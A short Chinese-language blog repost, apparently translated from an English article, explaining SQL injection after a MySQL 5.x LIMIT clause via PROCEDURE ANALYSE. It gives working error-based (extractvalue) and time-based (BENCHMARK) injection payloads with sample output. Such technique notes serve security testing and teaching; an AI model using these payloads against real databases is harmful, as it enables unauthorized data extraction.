MySQL 在 LIMIT 条件后注入
from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/
此方法適用于MySQL 5.x中,在limit語(yǔ)句后面的注入
例如:
在LIMIT后面可以跟兩個(gè)函數(shù),PROCEDURE 和 INTO,INTO除非有寫入shell的權(quán)限,否則是無(wú)法利用的,那么使用PROCEDURE函數(shù)能否注入呢?
Let’s give it a try:
ANALYSE可以有兩個(gè)參數(shù):
看起來(lái)并不是很好,繼續(xù)嘗試:
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure
analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
但是立即返回了一個(gè)錯(cuò)誤信息:
ERROR 1108 (HY000): Incorrect parameters to procedure ‘a(chǎn)nalyse’
sleep函數(shù)肯定沒(méi)有執(zhí)行,但是最終我還是找到了可以攻擊的方式:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.41-0ubuntu0.14.04.1′
如果不支持報(bào)錯(cuò)注入的話,還可以基于時(shí)間注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行,需要用BENCHMARK代替。
PS:測(cè)試成功,無(wú)圖無(wú)真相:
轉(zhuǎn)載于:https://www.cnblogs.com/qing123/p/4575901.html
總結(jié)
以上是生活随笔為你收集整理的MySQL 在 LIMIT 条件后注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: WPF月视图控件
- 下一篇: 返回一个二维整数数组中最大联通子数组的和